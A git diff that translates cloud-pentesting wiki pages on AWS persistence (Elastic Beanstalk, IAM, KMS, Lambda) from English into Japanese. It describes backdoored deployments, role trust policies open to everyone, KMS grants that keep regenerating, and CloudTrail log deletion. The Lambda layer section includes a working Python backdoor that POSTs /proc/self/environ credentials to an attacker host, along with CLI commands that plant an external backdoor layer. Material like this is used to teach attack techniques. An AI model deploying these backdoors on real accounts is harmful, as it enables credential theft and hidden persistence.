## Elastic Beanstalk
-For more information check:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
-### Persistence in Instance
+### インスタンス内の持続性
-In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
+AWSアカウント内で持続性を維持するために、**インスタンス内に持続性メカニズムを導入することができる**(cronジョブ、sshキー...)ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
-### Backdoor in Version
+### バックドアのあるバージョン
-An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
+攻撃者はS3リポジトリ内のコードにバックドアを仕掛け、常にそのバックドアと期待されるコードを実行させることができます。
-### New backdoored version
+### 新しいバックドア付きバージョン
-Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
+実際のバージョンのコードを変更する代わりに、攻撃者はアプリケーションの新しいバックドア付きバージョンをデプロイすることができます。
-### Abusing Custom Resource Lifecycle Hooks
+### カスタムリソースライフサイクルフックの悪用
> [!NOTE]
-> TODO: Test
-
-Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
+> TODO: テスト
+Elastic Beanstalkは、インスタンスのプロビジョニングおよび終了中にカスタムスクリプトを実行するためのライフサイクルフックを提供します。攻撃者は、**データを外部に送信したりAWSアカウントへのアクセスを維持するスクリプトを定期的に実行するようにライフサイクルフックを構成することができます**。
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
@@ -42,40 +41,35 @@ aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hoo
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
- AWSEBAutoScalingGroup:
- Metadata:
- AWS::ElasticBeanstalk::Ext:
- TriggerConfiguration:
- triggers:
- - name: stealthy-lifecycle-hook
- events:
- - "autoscaling:EC2_INSTANCE_LAUNCH"
- - "autoscaling:EC2_INSTANCE_TERMINATE"
- target:
- ref: "AWS::ElasticBeanstalk::Environment"
- arn:
- Fn::GetAtt:
- - "AWS::ElasticBeanstalk::Environment"
- - "Arn"
- stealthyLifecycleHook:
- Type: AWS::AutoScaling::LifecycleHook
- Properties:
- AutoScalingGroupName:
- Ref: AWSEBAutoScalingGroup
- LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
- NotificationTargetARN:
- Ref: stealthy-lifecycle-hook
- RoleARN:
- Fn::GetAtt:
- - AWSEBAutoScalingGroup
- - Arn' > stealthy_lifecycle_hook.yaml
+AWSEBAutoScalingGroup:
+Metadata:
+AWS::ElasticBeanstalk::Ext:
+TriggerConfiguration:
+triggers:
+- name: stealthy-lifecycle-hook
+events:
+- "autoscaling:EC2_INSTANCE_LAUNCH"
+- "autoscaling:EC2_INSTANCE_TERMINATE"
+target:
+ref: "AWS::ElasticBeanstalk::Environment"
+arn:
+Fn::GetAtt:
+- "AWS::ElasticBeanstalk::Environment"
+- "Arn"
+stealthyLifecycleHook:
+Type: AWS::AutoScaling::LifecycleHook
+Properties:
+AutoScalingGroupName:
+Ref: AWSEBAutoScalingGroup
+LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
+NotificationTargetARN:
+Ref: stealthy-lifecycle-hook
+RoleARN:
+Fn::GetAtt:
+- AWSEBAutoScalingGroup
+- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index e3e1944e7..20c9f0775 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -4,50 +4,44 @@
## IAM
-For more information access:
+詳細情報は以下にアクセスしてください:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
-### Common IAM Persistence
+### 一般的なIAM持続性
-- Create a user
-- Add a controlled user to a privileged group
-- Create access keys (of the new user or of all users)
-- Grant extra permissions to controlled users/groups (attached policies or inline policies)
-- Disable MFA / Add you own MFA device
-- Create a Role Chain Juggling situation (more on this below in STS persistence)
+- ユーザーを作成する
+- 制御されたユーザーを特権グループに追加する
+- アクセスキーを作成する(新しいユーザーまたはすべてのユーザーの)
+- 制御されたユーザー/グループに追加の権限を付与する(アタッチされたポリシーまたはインラインポリシー)
+- MFAを無効にする / 自分のMFAデバイスを追加する
+- ロールチェーンジャグリングの状況を作成する(この後のSTS持続性で詳しく説明します)
-### Backdoor Role Trust Policies
-
-You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
+### バックドアロール信頼ポリシー
+信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソース(または誰にでも)それを引き受けることができるようにすることができます:
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Effect": "Allow",
- "Principal": {
- "AWS": ["*", "arn:aws:iam::123213123123:root"]
- },
- "Action": "sts:AssumeRole"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
}
```
+### バックドアポリシーのバージョン
-### Backdoor Policy Version
+最後のバージョンではなく、ポリシーに管理者権限を付与します(最後のバージョンは正当なものに見えるべきです)。その後、そのバージョンのポリシーを制御されたユーザー/グループに割り当てます。
-Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
+### バックドア / アイデンティティプロバイダーの作成
-### Backdoor / Create Identity Provider
-
-If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
+アカウントがすでに一般的なアイデンティティプロバイダー(例えばGithub)を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようにします。
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 7aefbd410..8ebfb259f 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -4,40 +4,34 @@
## KMS
-For mor information check:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
-### Grant acces via KMS policies
+### KMSポリシーを介してアクセスを付与
-An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
+攻撃者は、**`kms:PutKeyPolicy`** 権限を使用して、制御下のユーザーまたは外部アカウントにキーへの**アクセスを付与**することができます。詳細については、[**KMS Privescページ**](../aws-privilege-escalation/aws-kms-privesc.md)を確認してください。
-### Eternal Grant
+### 永続的な付与
-Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
+付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与(同一のものでも)を持つことができます。
-Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
-
-(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
+したがって、ユーザーはすべての権限を持つ10の付与を持つことが可能です。攻撃者はこれを常に監視する必要があります。そして、ある時点で1つの付与が削除された場合、別の10の付与が生成されるべきです。
+(ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、10を使用しています。)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
- --key-id \
- --grantee-principal \
- --operations "CreateGrant" "Decrypt"
+--key-id \
+--grantee-principal \
+--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id
```
-
> [!NOTE]
-> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> グラントは、次のリンクからのみ権限を付与できます: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 1390c2d55..13ab14486 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -4,7 +4,7 @@
## Lambda
-For more information check:
+詳細については、次を確認してください:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ For more information check:
### Lambda Layer Persistence
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、ラムダがステルスな方法で実行されるときに行えます:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+Lambda Layersを悪用することで、拡張機能を悪用し、ラムダに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,41 +28,37 @@ aws-abusing-lambda-extensions.md
### Via resource policies
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
+外部アカウントに対して、さまざまなラムダアクション(呼び出しやコードの更新など)へのアクセスを付与することが可能です:
### Versions, Aliases & Weights
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
+ラムダは**異なるバージョン**(各バージョンに異なるコード)を持つことができます。\
+その後、**異なるバージョンの異なるエイリアスを作成**し、それぞれに異なる重みを設定できます。\
+この方法で、攻撃者は**バックドア付きのバージョン1**と**正当なコードのみのバージョン2**を作成し、**リクエストの1%でのみバージョン1を実行**してステルスを維持できます。
### Version Backdoor + API Gateway
-1. Copy the original code of the Lambda
-2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
- 1. Call the API gateway related to the lambda to execute the code
-3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
- 1. This will hide the backdoored code in a previous version
-4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1`
- 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
-5. Select the POST method created and in Actions select **`Deploy API`**
-6. Now, when you **call the function via POST your Backdoor** will be invoked
+1. ラムダの元のコードをコピーします
+2. **元のコードをバックドアする新しいバージョンを作成**します(または悪意のあるコードのみ)。そのバージョンを公開し、**$LATESTにデプロイ**します
+1. ラムダに関連するAPIゲートウェイを呼び出してコードを実行します
+3. **元のコードを持つ新しいバージョンを作成**し、その**バージョンを$LATESTに公開してデプロイ**します。
+1. これにより、バックドア付きのコードは以前のバージョンに隠されます
+4. APIゲートウェイに移動し、**バックドア付きのラムダを実行する新しいPOSTメソッドを作成**します:`arn:aws:lambda:us-east-1::function::1`
+1. 最後の:1は**関数のバージョンを示す**ことに注意してください(このシナリオではバージョン1がバックドア付きのものになります)。
+5. 作成したPOSTメソッドを選択し、アクションで**`APIをデプロイ`**を選択します
+6. これで、**POST経由で関数を呼び出すと、あなたのバックドア**が呼び出されます
### Cron/Event actuator
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+**何かが起こったときや時間が経過したときにラムダ関数を実行できる**という事実は、ラムダを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
+ここでは、**ラムダを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
-- Every time a new user is created lambda generates a new user key and send it to the attacker.
-- Every time a new role is created lambda gives assume role permissions to compromised users.
-- Every time new cloudtrail logs are generated, delete/alter them
+- 新しいユーザーが作成されるたびに、ラムダは新しいユーザーキーを生成し、攻撃者に送信します。
+- 新しいロールが作成されるたびに、ラムダは侵害されたユーザーにロールの引き受け権限を付与します。
+- 新しいCloudTrailログが生成されるたびに、それらを削除/変更します。
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index 71655ada0..b3bb8fa3c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,46 +1,42 @@
-# AWS - Abusing Lambda Extensions
+# AWS - Lambda拡張の悪用
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Extensions
+## Lambda拡張
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
+Lambda拡張は、さまざまな**監視、可視性、セキュリティ、およびガバナンスツール**と統合することで関数を強化します。これらの拡張は、[Lambdaレイヤーを使用した.zipアーカイブ](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html)を介して追加されるか、[コンテナイメージのデプロイメントに含まれる](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/)もので、**内部**と**外部**の2つのモードで動作します。
-- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
+- **内部拡張**は、ランタイムプロセスと統合し、**言語固有の環境変数**や**ラッパースクリプト**を使用してその起動を操作します。このカスタマイズは、**Java Correto 8および11、Node.js 10および12、.NET Core 3.1**を含むさまざまなランタイムに適用されます。
+- **外部拡張**は、別のプロセスとして実行され、Lambda関数のライフサイクルに合わせて動作を維持します。これらは、**Node.js 10および12、Python 3.7および3.8、Ruby 2.5および2.7、Java Corretto 8および11、.NET Core 3.1**、および**カスタムランタイム**と互換性があります。
-For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
+[**Lambda拡張の動作方法についての詳細はドキュメントを確認してください**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)。
-### External Extension for Persistence, Stealing Requests & modifying Requests
+### 永続性のための外部拡張、リクエストの盗難およびリクエストの変更
-This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
+これは、この投稿で提案された技術の要約です: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
+Lambdaランタイム環境のデフォルトのLinuxカーネルは、“**process_vm_readv**”および“**process_vm_writev**”システムコールでコンパイルされていることがわかりました。そして、すべてのプロセスは同じユーザーIDで実行され、新しいプロセスも外部拡張のために作成されます。**これは、外部拡張が設計上、Rapidのヒープメモリに対して完全な読み取りおよび書き込みアクセスを持つことを意味します。**
-Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
+さらに、Lambda拡張は**呼び出しイベントにサブスクライブする能力**を持っていますが、AWSはこれらの拡張に生データを公開しません。これにより、**拡張がHTTPリクエストを介して送信される機密情報にアクセスできないことが保証されます。**
-The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
+Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、任意のランタイムコードの実行前に実行されますが、Rapidの後です。
-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
+変数**`AWS_LAMBDA_RUNTIME_API`**は、**子ランタイムプロセス**および追加の拡張に対してRapid APIの**IP**アドレスと**ポート**番号を示します。
> [!WARNING]
-> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
+> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です(**中間者攻撃**)。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更**を許可するため、ポート番号の変更が可能になるからです。
-Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
+**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス(例:Python、Java、Node、Ruby)の起動に影響を与えます。さらに、**私たちの後に読み込まれた拡張**は、この変数に依存しており、私たちの拡張を通じてルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることが可能になるかもしれません。
-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
+ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**ために作成され、他の**拡張**の**リクエスト**を**変更する**ことさえできます。
-## References
+## 参考文献
- [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index f8a5e2868..a1fa64d52 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -4,56 +4,50 @@
## Lambda Layers
-A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
+Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーには、ライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。
-It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
+**関数ごとに最大五つのレイヤー**を含めることが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。
-By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
+**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**するか、レイヤーを**公開**することを選択できます。あなたの関数が異なるアカウントが公開したレイヤーを使用する場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、関数は**レイヤーのバージョンを引き続き使用できます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。
-Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
+コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージします。
### Python load path
-The load path that Python will use in lambda is the following:
-
+Pythonがlambdaで使用するロードパスは次のとおりです:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-
-Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
+チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリで占められています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`**
> [!CAUTION]
-> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
+> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けたり、**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加**した場合、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。
-Therefore, the requisites are:
+したがって、要件は次のとおりです:
-- **Check libraries** that are **loaded** by the victims code
-- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
+- **被害者のコード**によって**読み込まれるライブラリ**をチェックする
+- **カスタムコードを実行し、元の**ライブラリを**読み込む**ための**lambda layers**を持つ**プロキシライブラリを作成する。
-### Preloaded libraries
+### プリロードされたライブラリ
> [!WARNING]
-> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
-> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
-
-With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
+> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときに**すでに読み込まれている**のです。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\
+> この永続性技術を悪用するためには、コードが実行されるときに**読み込まれていない新しいライブラリを読み込む**必要があります。
+このようなpythonコードを使えば、lambda内のpythonランタイムに**プリロードされたライブラリのリスト**を取得することが可能です:
```python
import sys
def lambda_handler(event, context):
- return {
- 'statusCode': 200,
- 'body': str(sys.modules.keys())
- }
+return {
+'statusCode': 200,
+'body': str(sys.modules.keys())
+}
```
-
-And this is the **list** (check that libraries like `os` or `json` are already there)
-
+そして、これは**リスト**です(`os`や`json`のようなライブラリがすでに存在することを確認してください)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
-
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
### Lambda Layer Backdooring
@@ -68,15 +62,14 @@ This file must:
- Load the original csv library
We can do both with:
-
```python
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
- url= "https://attacker13123344.com/" #Change this to your server
- req = request.Request(url, data=file.read(), method="POST")
- response = request.urlopen(req)
+url= "https://attacker13123344.com/" #Change this to your server
+req = request.Request(url, data=file.read(), method="POST")
+response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
sys.modules["csv"] = _csv
```
+次に、このコードをパス **`python/lib/python3.9/site-packages/__init__.py`** に含むzipを作成し、lambdaレイヤーとして追加します。
-Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
+このコードは [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) で見つけることができます。
-You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-
-The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
+統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**(コードの変更またはコールドlambda)、しかし、**他の技術**も以下のように統合することができます:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
-### External Layers
+### 外部レイヤー
-Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
-Also note that the **max number of layers a lambda can have is 5**.
+**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは、権限がなくても外部アカウントのレイヤーを使用できます。\
+また、**lambdaが持つことができるレイヤーの最大数は5です**。
-Therefore, in order to improve the versatility of this technique an attacker could:
-
-- Backdoor an existing layer of the user (nothing is external)
-- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
- - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
- - The victim **won't see external layers** used with **`aws lambda list-layers`**
+したがって、この技術の汎用性を向上させるために、攻撃者は次のことを行うことができます:
+- ユーザーの既存のレイヤーにバックドアを仕掛ける(外部のものは何もない)
+- **自分のアカウントに** **レイヤー**を**作成**し、**被害者アカウントに**そのレイヤーを使用するアクセスを**与え**、**被害者のLambdaに**その**レイヤーを**設定し、**権限を削除**します。
+- **Lambda**は**レイヤーを使用し続け**、**被害者は**レイヤーのコードを**ダウンロードする簡単な方法がありません**(lambda内でリバースシェルを取得することを除いて)
+- 被害者は**`aws lambda list-layers`**を使用して**外部レイヤーを確認できません**。
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
# Remove permissions
